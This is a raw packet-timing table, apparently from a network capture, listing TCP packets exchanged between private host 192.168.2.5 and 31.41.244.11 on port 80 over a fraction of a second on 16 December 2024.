Dec 16, 2024 09:01:11.034728050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.034776926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.034842014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.034888983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.035734892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.035780907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.035845041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.035892010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.036725998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.036771059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.036842108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.036894083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.037723064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.037770033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.037827015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.037873983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.038743019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.038790941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.038836002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.038882017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.039736032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.039784908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.039844990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.039891958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.040775061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.040838003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.040851116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.040891886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.041739941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.041790962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.041870117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.041915894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.042793036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.042840958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.182451963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.182548046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.182638884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.182689905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.182750940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.182811975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.183667898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.183727980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.183790922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.184659958 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.184724092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.184787035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.185647011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.185699940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.185825109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.185874939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.186652899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.186707973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.186758041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.187661886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.187789917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.187855005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.188648939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.188771009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.188834906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.189651012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.189750910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.189811945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.190627098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.190686941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.190738916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.191620111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.191687107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.191750050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.192615032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.192675114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.192751884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.192801952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.193630934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.193747997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.193811893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.194601059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.194732904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.194799900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.195609093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.195664883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.195719004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.196600914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.196649075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.196727037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.197619915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.197668076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.197675943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.197721004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.198602915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.198740959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.198788881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.199623108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.199728966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.199774981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.200628996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.200746059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.200814962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.201575994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.201639891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.201699972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.202461958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.202564955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.202770948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.202819109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.203568935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.203685045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.203737020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.204582930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.204631090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.204813957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.205586910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.205640078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.205724955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.206582069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.206649065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.206698895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.206748009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.207756042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.207792997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.207849979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.208553076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.208621025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.208681107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.208729029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.209575891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.209630013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.209656954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.209678888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.210561991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.210618973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.210700989 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.210748911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.211590052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.211652994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.211713076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.211760998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.212547064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.212601900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.212677002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.212903023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.213534117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.213587999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.213717937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.213768005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.214533091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.214586973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.214653015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.214700937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.215553045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.215606928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.215609074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.215648890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.216521025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.216572046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.216649055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.216696978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.217605114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.217658043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.217732906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.217780113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.218931913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.218990088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.219335079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.219386101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.219549894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.219583988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.219602108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.219631910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.220556021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.220607042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.220681906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.220729113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.221518040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.221570969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.221637964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.221690893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.222521067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.222570896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.222635031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.222692013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.223501921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.223551989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.223556042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.223603964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.224505901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.224555016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.224627972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.224674940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.225555897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.225605011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.225662947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.225711107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.226486921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.226535082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.226589918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.226639986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.227516890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.227576017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.227633953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.227682114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.228488922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.228537083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.228609085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.228744030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.229477882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.229528904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.229597092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.229644060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.230494976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.230550051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.230614901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.230659008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.231481075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.231535912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.231611013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.231659889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.232475996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.232531071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.232671022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.232721090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.233474016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.233587027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.233587980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.233634949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.234421968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.234478951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.374788046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.374861956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.374910116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.374938965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.374970913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.375020981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.375104904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.375157118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.375909090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.375963926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.376003027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.376056910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.376868010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.376919985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.376977921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.377028942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.377875090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.377923965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.377995014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.378034115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.378880024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.378921986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.379004002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.379053116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.379879951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.379930019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.379980087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.380028963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.380867958 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.380917072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.380923986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.380995989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.381901979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.381956100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.382004023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.382046938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.382843971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.382894993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.382977009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.383023977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.383843899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.383903027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.383960009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.384007931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.384888887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.384964943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.385003090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.385029078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.385835886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.385893106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.385982037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.386061907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.386830091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.386883020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.387037039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.387093067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.387830973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.387886047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.387945890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.388073921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.388820887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.388874054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.388941050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.388992071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.389822960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.389878988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.389933109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.389985085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.390825033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.390877962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.390907049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.390955925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.391803980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.391855955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.391927004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.391985893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.392810106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.392860889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.392927885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.392973900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.393798113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.393848896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.393929005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.393978119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.394911051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.394964933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.395030975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.395085096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.395814896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.395864964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.395919085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.395968914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.396828890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.396878958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.396887064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.396935940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.397792101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.397835970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.397948980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.397996902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.398905039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.398957968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.399025917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.399065971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.399776936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.399827003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.399909019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.399955988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.400799990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.400891066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.400952101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.401788950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.401891947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.401949883 CET	49817	80	192.168.2.5	31.41.244.11
